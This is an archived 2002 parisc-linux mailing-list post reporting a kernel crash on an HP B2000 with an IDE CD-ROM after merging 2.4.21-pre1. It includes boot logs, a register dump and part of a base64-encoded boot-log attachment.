> > > > hp-c240 login: Uniform Multi-Platform E-IDE driver Revision: 6.31
> > > > ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
> > > > PDC20268: IDE controller on PCI bus 00 dev 08
> > > > PDC20268: chipset revision 2
> > > > PDC20268: not 100% native mode: will probe irqs later

See the same on the pc that I have.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] YA pb with PCI IDE (my merge 2.4.21-pre1)
Date: Mon, 16 Dec 2002 18:06:03 +0100
Lines: 641
Approved: news@gmane.org
Message-ID: <3DED9BF500001EC5@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=========3DED9BF500001EC5/mail.tiscali.be"
X-Trace: ger.gmane.org 1416622027 18713 80.91.229.3 (22 Nov 2014 02:07:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Alan Cox" <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 16 10:12:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA6E3482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 16 Dec 2002 10:12:02 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18NyhQ-0006c2-00; Mon, 16 Dec 2002 18:06:36 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 16 Dec 2002 17:06:03 +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17118

--=========3DED9BF500001EC5/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi Alan,

Worried about ext3 pb, I try to merge parisc kernel 2.4.20-pa14 with 2.4.=
21-pre1.
This merge seems to works fine on a b180l+ (without pci devices).
But still boot twice (??) and crash on a b2k with an ide cdrom.

So with k-2.4.20-pa14 here is the ide cdrom identification:
...
Uniform Multi-Platform E-IDE driver Revision: 6.31
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=3D=
xx
NS87415: IDE controller on PCI bus 00 dev 70
NS87415: chipset revision 3
NS87415: not 100% native mode: will probe irqs later
    ide0: BM-DMA at 0x0900-0x0907, BIOS settings: hda:pio, hdb:pio
    ide1: BM-DMA at 0x0908-0x090f, BIOS settings: hdc:pio, hdd:pio
hda: LTN485S, ATAPI CD/DVD-ROM drive
ide0 at 0x1f0-0x1f7,0x3f6 on irq 103
hda: ATAPI 48X CD-ROM drive, 120kB Cache
Uniform CD-ROM driver Revision: 3.12
...

And now with k-2.4.21-pre1-pa-alpha:
Linux version 2.4.21-pre1-pa14 (root@palx2000) (gcc version 3.0.4) #1 Mon=

Dec 16 15:05:24 CET 2002
FP[0] enabled: Rev 1 Model 16
The 32-bit Kernel has started...
...
Uniform Multi-Platform E-IDE driver Revision: 7.00beta-2.4
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=3D=
xx
NS87415: IDE controller at PCI slot 00:0e.0
NS87415: chipset revision 3
NS87415: not 100% native mode: will probe irqs later
    ide0: BM-DMA at 0x0900-0x0907, BIOS settings: hda:pio, hdb:pio
    ide1: BM-DMA at 0x0908-0x090f, BIOS settings: hdc:pio, hdd:pio


Linux version 2.4.21-pre1-pa14 (root@palx2000) (gcc version 3.0.4) #1 Mon=

Dec 16 15:05:24 CET 2002
FP[0] enabled: Rev 1 Model 16
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00005d00 00000481 00000000 00000002 77e93910 100000f0 00000008 0000=
00b2

...

Just have to explain that after previous 'hdc:pio, hdd:pio' it wait less
than a second then reboot and finaly crash as follow:

...
Uniform Multi-Platform E-IDE driver Revision: 7.00beta-2.4
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=3D=
xx
NS87415: IDE controller at PCI slot 00:0e.0
NS87415: chipset revision 3
NS87415: not 100% native mode: will probe irqs later
    ide0: BM-DMA at 0x0900-0x0907, BIOS settings: hda:pio, hdb:pio
    ide1: BM-DMA at 0x0908-0x090f, BIOS settings: hdc:pio, hdd:pio

Stack Dump:
 1008c800:  04100800 1021e454 1008c780 00061a80
 1008c7f0:  000000df 1033a010 00000000 00c80000
 1008c7e0:  000000a0 000f4240 17d78400 00000003
 1008c7d0:  891511dd 00022520 f0000174 f000017c
 1008c7c0:  1036e468 f0400004 00000000 ffffffff
 1008c7b0:  00000000 102159fc 1034a810 1034a810

Kernel addresses on the stack:
 [<1021e454>]  [<102159fc>]  [<102141d0>]  [<102141e4>]
 [<101053a4>]  [<10214acc>]  [<10213a1c>]  [<1021560c>]
 [<101003d4>]  [<10108c4c>]  [<10108cf4>]  [<10163f64>]
 [<1011dbf4>]  [<10164528>]  [<1011df6c>]  [<101647bc>]
 [<101003c4>]  [<1011de40>]  [<10121714>]

High Priority Machine Check (HPMC): Code=3D1 regs=3D1033d080 (Addr=3D0000=
0000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111110100001101 Not tainted
r00-03  00000000 1034a010 10110848 000000ff
r04-07  1036e468 1036e3e0 103555c0 000000ec
r08-11  0000000f 1034a810 1034a810 1034d810
r12-15  00000000 ffffffff 00000000 f0400004
r16-19  f00008c4 f000017c f0000174 fee00000
r20-23  0000000f 100b4160 10111bd0 000f4240
r24-27  00000e06 fee00e06 100b4160 1033a010
r28-31  000000df 00061a80 1008c800 10110848
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10111be0 10111be4
 IIR: 0f20001c    ISR: a607fffb  IOR: 80200e06
 CPU:        0   CR30: 1008c000 CR31: 103f0000
 ORIG_R28: 00000000


Well, I can try with this dump to use Thibaut 'dump_analyser.sh' but I do=
ubt
to obtain relevant info because of the two successive kernel launch?

May be can you advise me on a start point of investigation: it is the fir=
st
time I met this kind of two successive boot?

Thanks in advance for your attention,
    Joel


PS1: I join a full log including a normal 2.4.20-pa14 boot, the abnormal
2.4.21-pr1 crash and finaly the pim info.
PS2: it is a 32bits kernel build on a 'unstable' debian distro updated th=
is
morning with gcc-3.0.4

*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be




--=========3DED9BF500001EC5/mail.tiscali.be
Content-Type: application/msword
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="B2kBoot.doc"

CkN1cnJlbnQgY29tbWFuZCBsaW5lOgozL3ZtbGludXgtMi40LjIwLXBhMTQgcm9vdD0vZGV2L3Nk
YTUgSE9NRT0vIGNvbnNvbGU9dHR5UzAgVEVSTT12dDEwMgogMDogMy92bWxpbnV4LTIuNC4yMC1w
YTE0CiAxOiByb290PS9kZXYvc2RhNQogMjogSE9NRT0vCiAzOiBjb25zb2xlPXR0eVMwCiA0OiBU
RVJNPXZ0MTAyCgpFZGl0IHdoaWNoIGZpZWxkPwoob3IgJ2InIHRvIGJvb3Qgd2l0aCB0aGlzIGNv
bW1hbmQgbGluZSk/IDAIIAhiCgpDb21tYW5kIGxpbmUgZm9yIGtlcm5lbDogJ3Jvb3Q9L2Rldi9z
ZGE1IEhPTUU9LyBjb25zb2xlPXR0eVMwIFRFUk09dnQxMDIgcGFsb19rZXJuZWw9My92bWxpbnV4
LTIuNC4yMC1wYTE0JwpTZWxlY3RlZCBrZXJuZWw6IC92bWxpbnV4LTIuNC4yMC1wYTE0IGZyb20g
cGFydGl0aW9uIDMKRUxGMzIgZXhlY3V0YWJsZQpFbnRyeSAwMDEwMDIwMCBmaXJzdCAwMDEwMDAw
MCBuIDYKU2VnbWVudCAwIGxvYWQgMDAxMDAwMDAgc2l6ZSAyMjg5MjA4IG1lZGlhcHRyIDB4MTAw
MApTZWdtZW50IDEgbG9hZCAwMDMzMDAwMCBzaXplIDQ2NDY2NCBtZWRpYXB0ciAweDIzMDAwMApT
ZWdtZW50IDIgbG9hZCAwMDNhNDAwMCBzaXplIDI1Mjg4MCBtZWRpYXB0ciAweDJhMjAwMApTZWdt
ZW50IDMgbG9hZCAwMDNlNDAwMCBzaXplIDgxOTIgbWVkaWFwdHIgMHgyZTAwMDAKU2VnbWVudCA0
IGxvYWQgMDAzZTgwMDAgc2l6ZSAzMjc2OCBtZWRpYXB0ciAweDJlMjAwMApTZWdtZW50IDUgbG9h
ZCAwMDQxNDBlNCBzaXplIDExMjU0NCBtZWRpYXB0ciAweDJlYTBlNApCcmFuY2hpbmcgdG8ga2Vy
bmVsIGVudHJ5IHBvaW50IDB4MDAxMDAyMDAuICBJZiB0aGlzIGlzIHRoZSBsYXN0Cm1lc3NhZ2Ug
eW91IHNlZSwgeW91IG1heSBuZWVkIHRvIHN3aXRjaCB5b3VyIGNvbnNvbGUuICBUaGlzIGlzCmEg
Y29tbW9uIHN5bXB0b20gLS0gc2VhcmNoIHRoZSBGQVEgYW5kIG1haWxpbmcgbGlzdCBhdCBwYXJp
c2MtbGludXgub3JnCgpMaW51eCB2ZXJzaW9uIDIuNC4yMC1wYTE0IChyb290QHBhbHgyMDAwKSAo
Z2NjIHZlcnNpb24gMy4wLjQpICMxIEZyaSBEZWMgMTMgMTc6NTg6NTYgQ0VUIDIwMDIKRlBbMF0g
ZW5hYmxlZDogUmV2IDEgTW9kZWwgMTYKVGhlIDMyLWJpdCBLZXJuZWwgaGFzIHN0YXJ0ZWQuLi4K
RGV0ZXJtaW5pbmcgUERDIGZpcm13YXJlIHR5cGU6IFN5c3RlbSBNYXAuCm1vZGVsIDAwMDA1ZDAw
IDAwMDAwNDgxIDAwMDAwMDAwIDAwMDAwMDAyIDc3ZTkzOTEwIDEwMDAwMGYwIDAwMDAwMDA4IDAw
MDAwMGIyIDAwMDAwMGIyCnZlcnMgIDAwMDAwMzAxCkNQVUlEIHZlcnMgMTcgcmV2IDExICgweDAw
MDAwMjJiKQpjYXBhYmlsaXRpZXMgMHgzCm1vZGVsIDkwMDAvNzg1L0IyMDAwClRvdGFsIE1lbW9y
eTogMjU2IE1iCnBhZ2V0YWJsZV9pbml0Ck9uIG5vZGUgMCB0b3RhbHBhZ2VzOiA2NTUzNgp6b25l
KDApOiA2NTUzNiBwYWdlcy4Kem9uZSgxKTogMCBwYWdlcy4Kem9uZSgyKTogMCBwYWdlcy4KTENE
IGRpc3BsYXkgYXQgZjA1ZDAwMDgsZjA1ZDAwMDAgcmVnaXN0ZXJlZApLZXJuZWwgY29tbWFuZCBs
aW5lOiByb290PS9kZXYvc2RhNSBIT01FPS8gY29uc29sZT10dHlTMCBURVJNPXZ0MTAyIHBhbG9f
a2VybmVsPTMvdm1saW51eC0yLjQuMjAtcGExNApDb25zb2xlOiBjb2xvdXIgZHVtbXkgZGV2aWNl
IDE2MHg2NApDYWxpYnJhdGluZyBkZWxheSBsb29wLi4uIDc5OS41MyBCb2dvTUlQUwpNZW1vcnk6
IDI1NTY4NGsgYXZhaWxhYmxlCkRlbnRyeSBjYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDMyNzY4
IChvcmRlcjogNiwgMjYyMTQ0IGJ5dGVzKQpJbm9kZSBjYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6
IDE2Mzg0IChvcmRlcjogNSwgMTMxMDcyIGJ5dGVzKQpNb3VudC1jYWNoZSBoYXNoIHRhYmxlIGVu
dHJpZXM6IDQwOTYgKG9yZGVyOiAzLCAzMjc2OCBieXRlcykKQnVmZmVyLWNhY2hlIGhhc2ggdGFi
bGUgZW50cmllczogMTYzODQgKG9yZGVyOiA0LCA2NTUzNiBieXRlcykKUGFnZS1jYWNoZSBoYXNo
IHRhYmxlIGVudHJpZXM6IDY1NTM2IChvcmRlcjogNiwgMjYyMTQ0IGJ5dGVzKQpTZWFyY2hpbmcg
Zm9yIGRldmljZXMuLi4KRm91bmQgZGV2aWNlczoKMS4gQXN0cm8gQkMgUnVud2F5IFBvcnQgKDEy
KSBhdCAweGZlZDAwMDAwIFsxMF0sIHZlcnNpb25zIDB4NTgyLCAweDAsIDB4YgoyLiBFbHJveSBQ
Q0kgQnJpZGdlICgxMykgYXQgMHhmZWQzMDAwMCBbMTAvMF0sIHZlcnNpb25zIDB4NzgyLCAweDAs
IDB4YQozLiBFbHJveSBQQ0kgQnJpZGdlICgxMykgYXQgMHhmZWQzMjAwMCBbMTAvMV0sIHZlcnNp
b25zIDB4NzgyLCAweDAsIDB4YQo0LiBLYXpvbyBXKyAoMCkgYXQgMHhmZmZhMDAwMCBbMzJdLCB2
ZXJzaW9ucyAweDVkMCwgMHgwLCAweDQKNS4gTWVtb3J5ICgxKSBhdCAweGZlZDEwMjAwIFs0OV0s
IHZlcnNpb25zIDB4OWQsIDB4MCwgMHg5CkNQVShzKTogMSB4IFBBODYwMCAoUENYLVcrKSBhdCA0
MDAuMDAwMDAwIE1IegpTQkEgZm91bmQgQXN0cm8gMi4xIGF0IDB4ZmVkMDAwMDAKbGJhIHZlcnNp
b24gVFI0LjAgKDB4NSkgZm91bmQgYXQgMHhmZWQzMDAwMApsYmEgdmVyc2lvbiBUUjQuMCAoMHg1
KSBmb3VuZCBhdCAweGZlZDMyMDAwClBPU0lYIGNvbmZvcm1hbmNlIHRlc3RpbmcgYnkgVU5JRklY
CkxpbnV4IE5FVDQuMCBmb3IgTGludXggMi40CkJhc2VkIHVwb24gU3dhbnNlYSBVbml2ZXJzaXR5
IENvbXB1dGVyIFNvY2lldHkgTkVUMy4wMzkKSW5pdGlhbGl6aW5nIFJUIG5ldGxpbmsgc29ja2V0
ClNvZnQgcG93ZXIgc3dpdGNoIGVuYWJsZWQsIHBvbGxpbmcgQCAweGYwNDAwODA0LgpTdXBlcklP
OiBGb3VuZCBOUzg3NTYwIExlZ2FjeSBJL08gZGV2aWNlIGF0IDAwOjBlLjEgKElSUSA2NCkgClN1
cGVySU86IFNlcmlhbCBwb3J0IDEgYXQgMHgzZjgKU3VwZXJJTzogU2VyaWFsIHBvcnQgMiBhdCAw
eDJmOApTdXBlcklPOiBQYXJhbGxlbCBwb3J0IGF0IDB4Mzc4ClN1cGVySU86IEZsb3BweSBjb250
cm9sbGVyIGF0IDB4M2YwClN1cGVySU86IEFDUEkgYXQgMHg3ZTAKU3VwZXJJTzogVVNCIHJlZ3Vs
YXRvciBlbmFibGVkCkZ1bmN0aW9uIHN1cGVyaW9faW5pdCwgbGluZTogMjUyLCBzaW8t
Pmlvc2FwaWNfaXJxX2VuYWJsZWQ9MApwYXJwb3J0MDogUEMtc3R5bGUgYXQgMHgzNzgsIGlycSAx
MDEgW1BDU1BQKCwuLi4pXQpTdGFydGluZyBrc3dhcGQKSm91cm5hbGxlZCBCbG9jayBEZXZpY2Ug
ZHJpdmVyIGxvYWRlZApJbnN0YWxsaW5nIGtuZnNkIChjb3B5cmlnaHQgKEMpIDE5OTYgb2tpckBt
b25hZC5zd2IuZGUpLgpTVEkgR1NDL1BDSSBncmFwaGljcyBkcml2ZXIgdmVyc2lvbiAwLjkKU1RJ
IFBDSSBncmFwaGljIFJPTSBmb3VuZCBhdCBmNDk0MDAwMCAoMTI4IGtCKSwgZmIgYXQgZmIwMDAw
MDAgKDE2IE1CKQpTVEkgd29yZCBtb2RlIFJPTSBhdCBmNDk0MDA0NCwgaHBhIGF0IGZiMDAwMDAw
ClNUSSBpZCAzNWFjZGExNi05YTAyNTg3LCBjb25mb3JtcyB0byBzcGVjIHJldi4gOC4wYwpTVEkg
ZGV2aWNlOiBIUEE0OTgyQQpzdGlmYjogVW5zdXBwb3J0ZWQgZ2Z4IGNhcmQgaWQgMHgzNWFjZGEx
NgpwdHk6IDI1NiBVbml4OTggcHR5cyBjb25maWd1cmVkClNlcmlhbCBkcml2ZXIgdmVyc2lvbiA1
LjA1YyAoMjAwMS0wNy0wOCkgd2l0aCBNQU5ZX1BPUlRTIFNIQVJFX0lSUSBTRVJJQUxfUENJIGVu
YWJsZWQKdHR5UzAwIGF0IHBvcnQgMHgwM2Y4IChpcnEgPSA5OSkgaXMgYSAxNjU1MEEKdHR5UzAx
IGF0IHBvcnQgMHgwMmY4IChpcnEgPSAxMDApIGlzIGEgMTY1NTBBCmxwMDogdXNpbmcgcGFycG9y
dDAgKGludGVycnVwdC1kcml2ZW4pLgpHZW5lcmljIFJUQyBEcml2ZXIgdjEuMDIgMDUvMjcvMTk5
OSBTYW0gQ3JlYXNleSAoc2FtbXlAb2gudmVyaW8uY29tKQpVbmlmb3JtIE11bHRpLVBsYXRmb3Jt
IEUtSURFIGRyaXZlciBSZXZpc2lvbjogNi4zMQppZGU6IEFzc3VtaW5nIDMzTUh6IHN5c3RlbSBi
dXMgc3BlZWQgZm9yIFBJTyBtb2Rlczsgb3ZlcnJpZGUgd2l0aCBpZGVidXM9eHgKTlM4NzQxNTog
SURFIGNvbnRyb2xsZXIgb24gUENJIGJ1cyAwMCBkZXYgNzAKTlM4NzQxNTogY2hpcHNldCByZXZp
c2lvbiAzCk5TODc0MTU6IG5vdCAxMDAlIG5hdGl2ZSBtb2RlOiB3aWxsIHByb2JlIGlycXMgbGF0
ZXIKICAgIGlkZTA6IEJNLURNQSBhdCAweDA5MDAtMHgwOTA3LCBCSU9TIHNldHRpbmdzOiBoZGE6
cGlvLCBoZGI6cGlvCiAgICBpZGUxOiBCTS1ETUEgYXQgMHgwOTA4LTB4MDkwZiwgQklPUyBzZXR0
aW5nczogaGRjOnBpbywgaGRkOnBpbwpoZGE6IExUTjQ4NVMsIEFUQVBJIENEL0RWRC1ST00gZHJp
dmUKaWRlMCBhdCAweDFmMC0weDFmNywweDNmNiBvbiBpcnEgMTAzCmhkYTogQVRBUEkgNDhYIENE
LVJPTSBkcml2ZSwgMTIwa0IgQ2FjaGUKVW5pZm9ybSBDRC1ST00gZHJpdmVyIFJldmlzaW9uOiAz
LjEyClJBTURJU0sgZHJpdmVyIGluaXRpYWxpemVkOiAxNiBSQU0gZGlza3Mgb2YgNjE0NEsgc2l6
ZSAxMDI0IGJsb2Nrc2l6ZQpsb29wOiBsb2FkZWQgKG1heCA4IGRldmljZXMpCkxpbnV4IFR1bGlw
IGRyaXZlciB2ZXJzaW9uIDAuOS4xNS1wcmUxMiAoQXVnIDksIDIwMDIpCnR1bGlwMDogbm8gcGh5
IGluZm8sIGFib3J0aW5nIG10YWJsZSBidWlsZAp0dWxpcDA6ICBNSUkgdHJhbnNjZWl2ZXIgIzEg
Y29uZmlnIDEwMDAgc3RhdHVzIDc4MmQgYWR2ZXJ0aXNpbmcgMDFlMS4KZXRoMDogRGlnaXRhbCBE
UzIxMTQzIFR1bGlwIHJldiA2NSBhdCAweGYwMCwgMDA6MzA6RDM6MDE6NUE6M0IsIElSUSA2Ni4K
ZXRoMTogRGlnaXRhbCBEUzIxMTQzIFR1bGlwIHJldiA2NSBhdCAweDEyMTAwLCAwMDozMDo2RTow
NjoyMzpEMCwgSVJRIDEzMC4KU0NTSSBzdWJzeXN0ZW0gZHJpdmVyIFJldmlzaW9uOiAxLjAwCnN5
bTA6IDw4NzU+IHJldiAweDI2IG9uIHBjaSBidXMgMSBkZXZpY2UgMyBmdW5jdGlvbiAwIGlycSAx
MzEKc3ltMDogTm8gTlZSQU0sIElEIDcsIEZhc3QtMjAsIFNFLCBwYXJpdHkgY2hlY2tpbmcKc3lt
MDogU0NTSSBCVVMgaGFzIGJlZW4gcmVzZXQuCnN5bTE6IDw4OTVhPiByZXYgMHgxIG9uIHBjaSBi
dXMgMCBkZXZpY2UgMTUgZnVuY3Rpb24gMCBpcnEgNjUKc3ltMTogTm8gTlZSQU0sIElEIDcsIEZh
c3QtNDAsIExWRCwgcGFyaXR5IGNoZWNraW5nCnN5bTE6IFNDU0kgQlVTIGhhcyBiZWVuIHJlc2V0
LgpzY3NpMCA6IHN5bS0yLjEuMTdhCnNjc2kxIDogc3ltLTIuMS4xN2EKYmxrOiBxdWV1ZSAxMDBh
Y2E3NCwgSS9PIGxpbWl0IDQwOTVNYiAobWFzayAweGZmZmZmZmZmKQogIFZlbmRvcjogUVVBTlRV
TSAgIE1vZGVsOiBBVExBUzUtOUxWRCAgICAgICBSZXY6IEhQMDQKICBUeXBlOiAgIERpcmVjdC1B
Y2Nlc3MgICAgICAgICAgICAgICAgICAgICAgQU5TSSBTQ1NJIHJldmlzaW9uOiAwMwpibGs6IHF1
ZXVlIDEwMGFjYjc0LCBJL08gbGltaXQgNDA5NU1iIChtYXNrIDB4ZmZmZmZmZmYpCiAgVmVuZG9y
OiBRVUFOVFVNICAgTW9kZWw6IEFUTEFTNS05TFZEICAgICAgIFJldjogSFAwNAogIFR5cGU6ICAg
RGlyZWN0LUFjY2VzcyAgICAgICAgICAgICAgICAgICAgICBBTlNJIFNDU0kgcmV2aXNpb246IDAz
CmJsazogcXVldWUgMTAwYWNjNzQsIEkvTyBsaW1pdCA0MDk1TWIgKG1hc2sgMHhmZmZmZmZmZikK
c3ltMTo1OjA6IHRhZ2dlZCBjb21tYW5kIHF1ZXVpbmcgZW5hYmxlZCwgY29tbWFuZCBxdWV1ZSBk
ZXB0aCAxNi4Kc3ltMTo2OjA6IHRhZ2dlZCBjb21tYW5kIHF1ZXVpbmcgZW5hYmxlZCwgY29tbWFu
ZCBxdWV1ZSBkZXB0aCAxNi4KQXR0YWNoZWQgc2NzaSBkaXNrIHNkYSBhdCBzY3NpMSwgY2hhbm5l
bCAwLCBpZCA1LCBsdW4gMApBdHRhY2hlZCBzY3NpIGRpc2sgc2RiIGF0IHNjc2kxLCBjaGFubmVs
IDAsIGlkIDYsIGx1biAwCnN5bTE6NTogRkFTVC00MCBXSURFIFNDU0kgODAuMCBNQi9zIFNUICgy
NS4wIG5zLCBvZmZzZXQgMzEpClNDU0kgZGV2aWNlIHNkYTogMTc3NzM1MjQgNTEyLWJ5dGUgaGR3
ciBzZWN0b3JzICg5MTAwIE1CKQpQYXJ0aXRpb24gY2hlY2s6CiBzZGE6IHNkYTEgc2RhMiBzZGEz
IHNkYTQgPCBzZGE1IHNkYTYgc2RhNyBzZGE4IHNkYTkgc2RhMTAgc2RhMTEgc2RhMTIgPgpzeW0x
OjY6IEZBU1QtNDAgV0lERSBTQ1NJIDgwLjAgTUIvcyBTVCAoMjUuMCBucywgb2Zmc2V0IDMxKQpT
Q1NJIGRldmljZSBzZGI6IDE3NzczNTI0IDUxMi1ieXRlIGhkd3Igc2VjdG9ycyAoOTEw
MCBNQikKIHNkYjogdW5rbm93biBwYXJ0aXRpb24gdGFibGUKc3RpY29uOiBJbml0aWFsaXppbmcg
U1RJIHRleHQgY29uc29sZS4KQ29uc29sZTogc3dpdGNoaW5nIHRvIGNvbG91ciBTVEkgY29uc29s
ZSAxNjB4NjQKdXNiLmM6IHJlZ2lzdGVyZWQgbmV3IGRyaXZlciB1c2JkZXZmcwp1c2IuYzogcmVn
aXN0ZXJlZCBuZXcgZHJpdmVyIGh1Ygp1c2Itb2hjaS5jOiBVU0IgT0hDSSBhdCBtZW1iYXNlIDB4
ZjQwMDQwMDAsIElSUSA5Nwp1c2Itb2hjaS5jOiB1c2ItMDA6MGUuMiwgTmF0aW9uYWwgU2VtaWNv
bmR1Y3RvciBDb3Jwb3JhdGlvbiBVU0IgQ29udHJvbGxlcgp1c2Itb2hjaS5jOiBVc2luZyBOU0Mg
U3VwZXJJTyBzZXR1cAp1c2IuYzogbmV3IFVTQiBidXMgcmVnaXN0ZXJlZCwgYXNzaWduZWQgYnVz
IG51bWJlciAxCmh1Yi5jOiBVU0IgaHViIGZvdW5kCmh1Yi5jOiAzIHBvcnRzIGRldGVjdGVkCnVz
Yi5jOiByZWdpc3RlcmVkIG5ldyBkcml2ZXIgaGlkCmhpZC1jb3JlLmM6IHYxLjguMSBBbmRyZWFz
IEdhbCwgVm9qdGVjaCBQYXZsaWsgPHZvanRlY2hAc3VzZS5jej4KaGlkLWNvcmUuYzogVVNCIEhJ
RCBzdXBwb3J0IGRyaXZlcnMKSFAgU0RDOiBObyBTREMgZm91bmQuCm1kOiByYWlkMSBwZXJzb25h
bGl0eSByZWdpc3RlcmVkIGFzIG5yIDMKbWQ6IG1kIGRyaXZlciAwLjkwLjAgTUFYX01EX0RFVlM9
MjU2LCBNRF9TQl9ESVNLUz0yNwptZDogQXV0b2RldGVjdGluZyBSQUlEIGFycmF5cy4KbWQ6IGF1
dG9ydW4gLi4uCm1kOiAuLi4gYXV0b3J1biBET05FLgpMVk0gdmVyc2lvbiAxLjAuNSsoMjIvMDcv
MjAwMikKTkVUNDogTGludXggVENQL0lQIDEuMCBmb3IgTkVUNC4wCklQIFByb3RvY29sczogSUNN
UCwgVURQLCBUQ1AKSVA6IHJvdXRpbmcgY2FjaGUgaGFzaCB0YWJsZSBvZiAyMDQ4IGJ1Y2tldHMs
IDE2S2J5dGVzClRDUDogSGFzaCB0YWJsZXMgY29uZmlndXJlZCAoZXN0YWJsaXNoZWQgMTYzODQg
YmluZCAzMjc2OCkKTkVUNDogVW5peCBkb21haW4gc29ja2V0cyAxLjAvU01QIGZvciBMaW51eCBO
RVQ0LjAuClZGUzogTW91bnRlZCByb290IChleHQyIGZpbGVzeXN0ZW0pIHJlYWRvbmx5LgpGcmVl
aW5nIHVudXNlZCBrZXJuZWwgbWVtb3J5OiAyNDZrIGZyZWVkCklOSVQ6IHZlcnNpb24gMi44NCBi
b290aW5nCkxvYWRpbmcgL2V0Yy9jb25zb2xlL2Jvb3R0aW1lLmttYXAuZ3oKQWN0aXZhdGluZyBz
d2FwLgpBZGRpbmcgU3dhcDogMjUwODcyayBzd2FwLXNwYWNlIChwcmlvcml0eSAtMSkKQ2hlY2tp
bmcgcm9vdCBmaWxlIHN5c3RlbS4uLgpmc2NrIDEuMzIgKDA5LU5vdi0yMDAyKQovZGV2L3NkYTU6
IGNsZWFuLCA0Mzc4Ni8yMDMwMDggZmlsZXMsIDE5NjM1OC80MDYwMTIgYmxvY2tzClN5c3RlbSB0
aW1lIHdhcyBNb24gRGVjIDE2IDE0OjQzOjA4IFVUQyAyMDAyLgpTZXR0aW5nIHRoZSBTeXN0ZW0g
Q2xvY2sgdXNpbmcgdGhlIEhhcmR3YXJlIENsb2NrIGFzIHJlZmVyZW5jZS4uLgpTeXN0ZW0gQ2xv
Y2sgc2V0LiBTeXN0ZW0gbG9jYWwgdGltZSBpcyBub3cgTW9uIERlYyAxNiAxNDo0MzowNyBVVEMg
MjAwMi4KQ2FsY3VsYXRpbmcgbW9kdWxlIGRlcGVuZGVuY2llcy4uLiBkb25lLgpMb2FkaW5nIG1v
ZHVsZXM6IApDaGVja2luZyBhbGwgZmlsZSBzeXN0ZW1zLi4uCmZzY2sgMS4zMiAoMDktTm92LTIw
MDIpCi9kZXYvc2RhMzogY2xlYW4sIDI3LzE1NjE2IGZpbGVzLCAzMzMwNS82MjQ2NCBibG9ja3MK
L2Rldi9zZGE2OiBjbGVhbiwgMjg0Ny82MjQ5NiBmaWxlcywgMTk0NzUwLzI0OTg0MCBibG9ja3MK
L2Rldi9zZGE3OiBjbGVhbiwgMTMvMzEyMzIgZmlsZXMsIDM5NjQvMTI0OTEyIGJsb2NrcwovZGV2
L3NkYTg6IGNsZWFuLCAxMjIvMzEyMzIgZmlsZXMsIDEwMjExLzEyNDkxMiBibG9ja3MKL2Rldi9z
ZGE5OiBjbGVhbiwgODQ2MjEvMjUwMzY4IGZpbGVzLCAzODQ2MDIvNDk5OTY0IGJsb2NrcwovZGV2
L3NkYTEwOiBjbGVhbiwgOTM5MC8yNTAzNjggZmlsZXMsIDQzOTc2My80OTk5NjQgYmxvY2tzCi9k
ZXYvc2RhMTE6IGNsZWFuLCA2Njc5Ni8yNTAzNjggZmlsZXMsIDQyMDEyMy80OTk5NjQgYmxvY2tz
CkxvYWRpbmcgdGhlIHNhdmVkLXN0YXRlIG9mIHRoZSBzZXJpYWwgZGV2aWNlcyBmcm9tIC9ldGMu
Li4gClNldHRpbmcga2VybmVsIHZhcmlhYmxlcy4uCk1vdW50aW5nIGxvY2FsIGZpbGVzeXN0ZW1z
Li4uCi9kZXYvc2RhMyBvbiAvYm9vdCB0eXBlIGV4dDIgKHJ3KQovZGV2L3NkYTYgb24gL3ZhciB0
